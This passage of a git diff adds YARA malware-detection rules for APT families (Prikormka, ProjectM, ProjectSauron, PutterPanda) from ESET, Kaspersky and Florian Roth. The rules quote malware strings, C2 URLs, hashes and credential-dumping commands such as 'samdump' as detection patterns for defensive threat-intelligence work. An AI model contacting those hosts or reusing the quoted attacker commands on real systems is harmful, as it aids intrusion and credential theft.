+        $str3 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str4 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
+        $str5 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
+        $str6 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+        $str7 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+
+        // encrypted
+        $str8 = {50 52 55 5C 17 51 58 17 5E 4A}
+        $str9 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
+        $str10 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
+        $str11 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
+        $str12 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
+
+        // mutex
+        $str13 = "ZxWinDeffContex" ascii wide
+        $str14 = "Paramore756Contex43" wide
+        $str15 = "Zw_&one@ldrContext43" wide
+
+        // other
+        $str16 = "A95BL765MNG2GPRS"
+
+        // dll names
+        $str17 = "helpldr.dll" wide fullword
+        $str18 = "swma.dll" wide fullword
+        $str19 = "iomus.dll" wide fullword
+        $str20 = "atiml.dll"  wide fullword
+        $str21 = "hlpuctf.dll" wide fullword
+        $str22 = "hauthuid.dll" ascii wide fullword
+
+        // rbcon
+        $str23 = "[roboconid][%s]" ascii fullword
+        $str24 = "[objectset][%s]" ascii fullword
+        $str25 = "rbcon.ini" wide fullword
+
+        // files and logs
+        $str26 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
+        $str27 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
+
+        // pdb strings
+        $str28 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
+        $str29 = "\\PZZ\\RMO\\" ascii
+        $str30 = ":\\work\\PZZ" ascii
+        $str31 = "C:\\Users\\mlk\\" ascii
+        $str32 = ":\\W o r k S p a c e\\" ascii
+        $str33 = "D:\\My\\Projects_All\\2015\\" ascii
+        $str34 = "\\TOOLS PZZ\\Bezzahod\\" ascii
+
+    condition:
+        ($mz at 0) and (any of ($str*))
+}
+
+private rule PrikormkaEarlyVersion
+{
+    strings:
+        $mz = { 4D 5A }
+
+        $str1 = "IntelRestore" ascii fullword
+        $str2 = "Resent" wide fullword
+        $str3 = "ocp8.1" wide fullword
+        $str4 = "rsfvxd.dat" ascii fullword
+        $str5 = "tsb386.dat" ascii fullword
+        $str6 = "frmmlg.dat" ascii fullword
+        $str7 = "smdhost.dll" ascii fullword
+        $str8 = "KDLLCFX" wide fullword
+        $str9 = "KDLLRUNDRV" wide fullword
+    condition:
+        ($mz at 0) and (2 of ($str*))
+}
+
+rule Prikormka
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PrikormkaDropper or PrikormkaModule or PrikormkaEarlyVersion
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_project_m.yar b/yara-mikesxrs/Florian Roth/apt_project_m.yar
new file mode 100644
index 0000000..26c302e
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_project_m.yar	
@@ -0,0 +1,46 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-26
+	Identifier: ProjectM
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ProjectM_DarkComet_1 {
+	meta:
+		description = "Detects ProjectM Malware - file cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		hash = "cc488690ce442e9f98bac651218f4075ca36c355d8cd83f7a9f5230970d24157"
+	strings:
+		$x1 = "DarkO\\_2" fullword ascii
+
+		$a1 = "AVICAP32.DLL" fullword ascii
+		$a2 = "IDispatch4" fullword ascii
+		$a3 = "FLOOD/" fullword ascii
+		$a4 = "T<-/HTTP://" fullword ascii
+		$a5 = "infoes" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and 4 of them ) or ( all of them )
+}
+
+rule ProjectM_CrimsonDownloader {
+	meta:
+		description = "Detects ProjectM Malware - file dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+		author = "Florian Roth"
+		reference = "http://researchcenter.paloaltonetworks.com/2016/03/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
+		date = "2016-03-26"
+		hash = "dc8bd60695070152c94cbeb5f61eca6e4309b8966f1aa9fdc2dd0ab754ad3e4c"
+	strings:
+		$x1 = "E:\\Projects\\m_project\\main\\mj shoaib"
+
+		$s1 = "\\obj\\x86\\Debug\\secure_scan.pdb" ascii
+		$s2 = "secure_scan.exe" fullword wide
+		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|mswall" fullword wide
+		$s4 = "secure_scan|mswall" fullword wide
+		$s5 = "[Microsoft-Security-Essentials]" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and $x1 ) or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_project_sauron.yara b/yara-mikesxrs/Florian Roth/apt_project_sauron.yara
new file mode 100644
index 0000000..a341398
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_project_sauron.yara	
@@ -0,0 +1,137 @@
+import "pe"
+import "math"
+
+rule apt_ProjectSauron_pipe_backdoor  {
+	meta:
+		copyright = "Kaspersky Lab"
+		description = "Rule to detect ProjectSauron pipe backdoors"
+		version = "1.0"
+		reference = "https://securelist.com/blog/"
+	strings:
+		$a1 = "CreateNamedPipeW" fullword ascii
+		$a2 = "SetSecurityDescriptorDacl" fullword ascii
+		$a3 = "GetOverlappedResult" fullword ascii
+		$a4 = "TerminateThread" fullword ascii
+		$a5 = "%s%s%X" fullword wide
+	condition:
+		uint16(0) == 0x5A4D
+		and (all of ($a*))
+		and filesize < 100000
+}
+
+rule apt_ProjectSauron_encrypted_LSA  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron encrypted LSA samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+strings:
+	$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
+	$a2 = "\\Device\\NdisRaw_" fullword ascii
+	$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
+	$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
+	$a5 = "Missing function %S::#%d" fullword wide
+	$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
+	$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+condition:
+	uint16(0) == 0x5A4D
+	and (any of ($a*) or
+	(
+		pe.exports("InitializeChangeNotify") and
+		pe.exports("PasswordChangeNotify") and
+		math.entropy(0x400, filesize) >= 7.5
+	))
+	and filesize < 1000000
+}
+
+rule apt_ProjectSauron_encrypted_SSPI  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect encrypted ProjectSauron SSPI samples"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 1000000 and
+	pe.exports("InitSecurityInterfaceA") and
+	pe.characteristics & pe.DLL and
+	(pe.machine == pe.MACHINE_AMD64 or pe.machine == pe.MACHINE_IA64) and
+	math.entropy(0x400, filesize) >= 7.5
+}
+
+rule apt_ProjectSauron_MyTrampoline  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron MyTrampoline module"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+strings:
+	$a1 = ":\\System Volume Information\\{" wide
+	$a2 = "\\\\.\\PhysicalDrive%d" wide
+	$a3 = "DMWndClassX%d"
+
+	$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
+	$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
+condition:
+	uint16(0) == 0x5A4D and
+	filesize < 5000000 and
+	(all of ($a*) or any of ($b*))
+}
+
+rule apt_ProjectSauron_encrypted_container  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron samples encrypted container"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+
+	$vfs_header = {02 AA 02 C1 02 0?}
+	$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+
+condition:
+	uint16(0) == 0x5A4D
+	and ((@vfs_header < 0x4000) or $salt) and
+	math.entropy(0x400, filesize) >= 6.5 and
+	(filesize > 0x400) and filesize < 10000000
+}
+
+rule apt_ProjectSauron_encryption  {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron string encryption"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+
+strings:
+
+	$a1 = {81??02AA02C175??8B??0685}
+	$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
+	$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+
+condition:
+	filesize < 5000000 and
+	any of ($a*)
+}
+
+rule apt_ProjectSauron_generic_pipe_backdoor {
+meta:
+	copyright = "Kaspersky Lab"
+	description = "Rule to detect ProjectSauron generic pipe backdoors"
+	version = "1.0"
+	reference = "https://securelist.com/blog/"
+
+strings:
+	$a = { C7 [2-3] 32 32 32 32 E8 }
+	$b = { 42 12 67 6B }
+	$c = { 25 31 5F 73 }
+	$d = "rand"
+	$e = "WS2_32"
+
+condition:
+	uint16(0) == 0x5A4D and
+	(all of them) and
+	filesize < 400000
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_project_sauron_extras.yar b/yara-mikesxrs/Florian Roth/apt_project_sauron_extras.yar
new file mode 100644
index 0000000..ab121e8
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_project_sauron_extras.yar	
@@ -0,0 +1,224 @@
+rule APT_Project_Sauron_Scripts {
+	meta:
+		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "local t = w.exec2str(\"regedit "
+		$x2 = "local r = w.exec2str(\"cat"
+		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
+		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
+		$x5 = "sinfo | basex b 32url | dext l 30"
+		$x6 = "w.exec2str(execStr)"
+		$x7 = "netnfo irc | basex b 32url"
+		$x8 = "w.exec(\"wfw status\")"
+		$x9 = "exec(\"samdump\")"
+		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
+		$x11 = "if string.lower(k) == \"securityproviders\" then"
+		$x12 = "exec2str(\"plist b | grep netsvcs\")"
+		$x13 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"
+		$x14 = "SAURON_KBLOG_KEY ="
+	condition:
+		1 of them
+}
+
+rule APT_Project_Sauron_arping_module {
+	meta:
+		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$s1 = "Resolve hosts that answer"
+		$s2 = "Print only replying Ips"
+		$s3 = "Do not display MAC addresses"
+	condition:
+		all of them
+}
+
+rule APT_Project_Sauron_kblogi_module {
+	meta:
+		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "Inject using process name or pid. Default"
+		$s2 = "Convert mode: Read log from file and convert to text"
+		$s3 = "Maximum running time in seconds"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_basex_module {
+	meta:
+		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "64, 64url, 32, 32url or 16."
+		$s2 = "Force decoding when input is invalid/corrupt"
+		$s3 = "This cruft"
+	condition:
+		$x1 or 2 of them
+}
+
+rule APT_Project_Sauron_dext_module {
+	meta:
+		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+	strings:
+		$x1 = "Assemble rows of DNS names back to a single string of data"
+		$x2 = "removes checks of DNS names and lengths (during split)"
+		$x3 = "Randomize data lengths (length/2 to length)"
+		$x4 = "This cruft"
+	condition:
+		2 of them
+}
+
+rule Hacktool_This_Cruft {
+	meta:
+		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-08"
+		score = 60
+	strings:
+		$x1 = "This cruft" fullword
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and $x1 )
+}
+
+/*
+	Yara Rule Set
+	Author: FLorian Roth
+	Date: 2016-08-09
+	Identifier: Project Sauron - my own ruleset
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule APT_Project_Sauron_Custom_M1 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
+	strings:
+		$s1 = "ncnfloc.dll" fullword wide
+		$s4 = "Network Configuration Locator" fullword wide
+
+		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op1 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M2 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
+	strings:
+		$s2 = "\\*\\3vpn" fullword ascii
+
+		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 } /* Opcode */
+		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 400KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M3 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
+	strings:
+		$s1 = "ExampleProject.dll" fullword ascii
+
+		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba } /* Opcode */
+		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 } /* Opcode */
+		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( all of ($s*) ) and all of ($op*) )
+}
+
+rule APT_Project_Sauron_Custom_M4 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
+	strings:
+		$s1 = "xpsmngr.dll" fullword wide
+		$s2 = "XPS Manager" fullword wide
+
+		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 } /* Opcode */
+		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b } /* Opcode */
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 90KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M6 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
+	strings:
+		$s1 = "rseceng.dll" fullword wide
+		$s2 = "Remote Security Engine" fullword wide
+
+		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 } /* Opcode */
+		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 } /* Opcode */
+		$op2 = { 80 75 29 85 c9 79 25 b9 01 } /* Opcode */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( all of ($s*) ) and 1 of ($op*) ) or ( all of them )
+}
+
+rule APT_Project_Sauron_Custom_M7 {
+	meta:
+		description = "Detects malware from Project Sauron APT"
+		author = "FLorian Roth"
+		reference = "https://goo.gl/eFoP4A"
+		date = "2016-08-09"
+		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
+		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
+	strings:
+		$sx1 = "Default user" fullword wide
+		$sx2 = "Hincorrect header check" fullword ascii /* Typo */
+
+		$sa1 = "MSAOSSPC.dll" fullword ascii
+		$sa2 = "MSAOSSPC.DLL" fullword wide
+		$sa3 = "MSAOSSPC" fullword wide
+		$sa4 = "AOL Security Package" fullword wide
+		$sa5 = "AOL Security Package" fullword wide
+		$sa6 = "AOL Client for 32 bit platforms" fullword wide
+
+		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 } /* Opcode */
+		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 } /* Opcode */
+		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b } /* Opcode */
+		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 } /* Opcode */
+		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 } /* Opcode */
+		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and
+		(
+			( 3 of ($s*) and 3 of ($op*) ) or
+			( 1 of ($sx*) and 1 of ($sa*) )
+		)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_putterpanda.yar b/yara-mikesxrs/Florian Roth/apt_putterpanda.yar
new file mode 100644
index 0000000..aacb65a
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_putterpanda.yar	
@@ -0,0 +1,258 @@
+
+rule APT_Malware_PutterPanda_Rel {
+	meta:
+		description = "Detects an APT malware related to PutterPanda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "5367e183df155e3133d916f7080ef973f7741d34"
+	strings:
+		$x0 = "app.stream-media.net" fullword ascii /* score: '12.03' */
+		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.035' */
+
+		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '32.02' */
+		$s7 = "Connect %s error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.04' */
+		$s9 = "Download file %s successfully!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.03' */
+		$s10 = "index.tmp" fullword ascii /* score: '14.03' */
+		$s11 = "Execute PE Successfully" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.03' */
+		$s13 = "aa/22/success.xml" fullword ascii /* score: '12.005' */
+		$s16 = "aa/22/index.asp" fullword ascii /* score: '11.02' */
+		$s18 = "File %s a Non-Pe File" fullword ascii /* score: '8.04' */
+		$s19 = "SendRequset error!" fullword ascii /* score: '8.04' */
+		$s20 = "filelist[%d]=%s" fullword ascii /* score: '7.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( 4 of ($s*) )
+}
+
+
+rule APT_Malware_PutterPanda_Rel_2 {
+	meta:
+		description = "APT Malware related to PutterPanda Group"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
+	strings:
+		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s3 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.035' */
+		$s4 = "Proxy-Authorization:Basic" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.015' */
+		$s6 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$s7 = "downdll.dll" fullword ascii /* score: '11.025' */
+		$s8 = "rz.dat" fullword ascii /* score: '10.005' */
+		$s9 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s10 = "Create file failed" fullword ascii /* score: '8.045' */
+		$s11 = "myAgent" fullword ascii /* score: '8.025' */
+		$s12 = "%s%s%d%d" fullword ascii /* score: '8.005' */
+		$s13 = "down file success" fullword ascii /* score: '7.035' */
+		$s15 = "error!" fullword ascii /* score: '6.04' */
+		$s18 = "Avaliable data:%u bytes" fullword ascii /* score: '5.025' */
+	condition:
+		uint16(0) == 0x5a4d and 6 of them
+}
+
+rule APT_Malware_PutterPanda_PSAPI {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.03' */
+		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.045' */
+		$s2 = "psapi.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 54 times */
+		$s3 = "urlmon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 471 times */
+		$s4 = "WinHttpGetProxyForUrl" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 179 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule APT_Malware_PutterPanda_WUAUCLT {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
+	strings:
+		$x0 = "WUAUCLT.EXE" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "%s\\tmp%d.exe" fullword ascii /* score: '14.01' */	
+		$x2 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+
+		$s1 = "Microsoft Windows Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 4 times */
+		$s2 = "InternetQueryOptionA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 166 times */
+		$s3 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+		$s4 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 29 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 87 times */
+		$s6 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 420 times */
+		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+		$s8 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 222 times */
+		$s9 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 410 times */
+	condition:
+		all of ($x*) or 
+		(1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_Gen1 {
+	meta:
+		description = "Detects a malware "
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
+		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
+		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
+	strings:
+		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.02' */
+		$s2 = "ssdpsvc.dll" fullword ascii /* score: '11.00' */
+		$s3 = "Fail %s " fullword ascii /* score: '10.04' */
+		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii /* score: '10.01' */
+		$s5 = "LsaServiceInit" fullword ascii /* score: '7.03' */
+		$s6 = "%-8d Fs %-12s Bs " fullword ascii /* score: '5.04' */
+		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5.00' */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule Malware_MsUpdater_String_in_EXE {
+	meta:
+		description = "MSUpdater String in Executable"
+		author = "Florian Roth"
+		score = 50
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
+	strings:
+		$x1 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		// $x2 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+		$x3 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$x4 = "msupdater32.exe" fullword ascii
+		$x5 = "msupdater32.exe" fullword wide
+		$x6 = "msupdate.pif" fullword ascii
+
+		$fp1 = "_msupdate_" wide /* False Positive */
+		$fp2 = "_msupdate_" ascii /* False Positive */
+		$fp3 = "/kies" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and ( 1 of ($x*) ) and not ( 1 of ($fp*) ) 
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_3 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
+	strings:
+		$s0 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$s1 = "Explorer.exe \"" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.05' */
+		$s2 = "FAVORITES.DAT" fullword ascii /* score: '11.02' */
+		$s4 = "COMSPEC" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 178 times */
+	condition:
+		uint16(0) == 0x5a4d and 3 of them
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_1 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		author = "Florian Roth"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b55072b67543f58c096571c841a560c53d72f01a"
+	strings:
+		$x0 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+
+		$s1 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+		$s2 = "Automatic Updates" fullword wide /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s3 = "VirtualProtectEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 68 times */
